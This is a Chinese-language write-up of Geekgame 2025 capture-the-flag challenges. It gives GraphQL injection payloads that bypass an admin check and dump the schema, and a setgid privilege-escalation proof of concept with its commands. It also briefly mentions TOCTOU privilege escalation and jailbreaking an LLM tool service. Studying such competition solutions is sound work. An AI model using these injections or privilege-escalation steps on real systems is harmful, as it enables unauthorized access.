Geekgame 2025 Writeup
目前部分题目只有简略的思路,以后可能会扩充。
签到
要注意 Data Matrix 的顺序就是图片上相对位置的顺序,一开始没想到这个一直在手动拼 Flag 卡了好久。
北清问答
北京大学新燕园校区的教学楼在启用时,全部教室共有多少座位(不含讲桌)?
根据 公共教学楼服务指南 (新燕园校区) 手动数数即可。
基于 SwiftUI 的 iPad App 要想让图片自然延伸到旁边的导航栏(如右图红框标出的效果),需要调用视图的什么方法?

以 Sidebar 为关键词搜索查阅文档易得答案为 backgroundExtensionEffect 方法。
右图这张照片是在飞机的哪个座位上拍摄的?

明显看出来是在窄体机的中间座位,图片稍微处理后让 Google Lens 识别可以知道国航的飞机。再加上我看这个挺熟悉的,而我坐过的窄体机只有 Boeing 737 和 Airbus A320 。社交媒体上面查询出来有一张 A321-200 的飞机内饰有点像,航旅纵横看了座位号填上去就好了。
注意到比赛平台题目页面底部的【复制个人Token】按钮了吗?本届改进了 Token 生成算法,UID 为 1234567890 的用户生成的个人 Token 相比于上届的算法会缩短多少个字符?
根据 Commit bcd71d3 手动模拟即可。
最后一个默认情况下允许安装 Manifest V1 .crx 扩展程序的 Chrome 正式版本是多少?
Google 一下就行了,搜到了这个
此论文 提到的 YOLOv12-L 目标检测模型实际包含多少个卷积算子?
import torch
from torch import nn
from ultralytics import YOLO
model = YOLO('yolo12l.pt').model
print(sum(1 for module in model.modules() if isinstance(module, nn.Conv2d)))
Warden++
从题面只能得知编译结果就可以看出是侧信道攻击。构造出一种在 flag 满足某种条件时编译成功的语句多次交互可以得到结果。
开源论文太少了!
字面意思,Figure1 纵坐标就是 Flag1 各个字符的 ASCII 码取对数后的值, Figure2 各个散点的横纵坐标分别是 Flag2 各个半字节的低两位和高两位,顺序是层叠顺序。 PDF 转 SVG 后一目了然。
勒索病毒
搜索关于 DoNex 勒索病毒破解的资料,配合仓库里面去年的对应加密前的文件即可解密获得 Flag1
统一身份认证
好麻烦的注入题……基本逻辑是把第二行以及后面的 alias 到别的名称上去废除掉,原先的地方让 isAdmin 始终 ok 。
pass" ) { login: login(username: $username, password: $password) { ok isAdmin: ok username } fake: #
第二题用
pass" ) { login: __schema { ok: types { name } isAdmin: queryType { name } username: types { name kind fields(includeDeprecated: true) { name type { name kind ofType { name kind ofType { name kind }}}}}} fake: #
获取 Schema 。通过 Schema 构建查询获取 flag2
pass" ) { login: secret { ... on Secret { username: secret_L1sN{secret_ufjb{secret_WJRt{secret_wVcG{secret_NqTI{secret_XBuh{flag2}}}}}}, ok: secret_L1sN{secret_ufjb{secret_WJRt{secret_wVcG{secret_NqTI{secret_XBuh{flag2}}}}}}}} fake: #
EzMCP
对于 Flag1 来说, POST 一下 /enable_builtin_tools 启用内置工具,接下来就是正常的 LLM Jailbreak 了。
提权潜兵 · 新指导版
根据 [BUG] 本地提权漏洞 里面的提示利用 TOCTOU 提权即可。
高可信数据大屏
团结引擎
Flag1 和 Flag3 都可以用 Cheat Engine 直接找实例化的 Object 读出参数直接解密。
Flag2 利用 AssetRipper 即可。
枚举高手的 bomblab 审判
7 岁的毛毛:我要写 Java
传统 C 语言核易危
阅读源码可以知道 set_group 函数出现了问题,它添加的检查只检查了是否为文件所有者,于是我们可以創建一個文件,并把用户组改成 0 来提权。
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd = open("/flag1.txt", O_RDONLY);
if (fd < 0) return 1;
char buf[256];
int n;
while ((n = read(fd, buf, 256)) > 0)
write(1, buf, n);
close(fd);
return 0;
}
然后
chmod +x /tmp/payload
busybox chgrp 0 /tmp/payload
chmod g+s /tmp/payload
/tmp/payload
股票之神
纯手打的。大概思路是开个尽量低的限价单使得 Truth👎 两次之后能满仓。之后等到基本稳定再高速抛售,抛售完毕之后差不多能过 Flag1 了。然后继续重复,基本上第二次就能拿到三个 Flag 。
千年讲堂的方形轮子 II
由于 XTS 模式除了最后两个分组,其他分组的加密结果只和该分组明文以及分组位置有关。再加上我们可以通过 name 字段控制组的内容,
Flag1 最后构建出类似
{"stuid": "12345
67890", "name":
"ABCDE", "flag":
9999999999999999
, "timestamp": 1
145141919810}
的东西
Flag2 最后构建出的类似
{"stuid": "12345
67890", "name":
"ABCDE", "flag":
true
, "code": "00000
8888888888888888
", "timestamp":
1145141919810}
的东西,8888888888888888 那一行可以塞到别的 name 字段里面。前面五位已经暴露了四位,剩下一位暴力就行()
高级剪切几何
Flag1 使用其他模型拿到 ground truth 即可。唉最开始没想到这个找了很多 PGD Attacks 相关的文章,最终识别结果也不是很理想。
滑滑梯加密
Flag1 暴力足够了。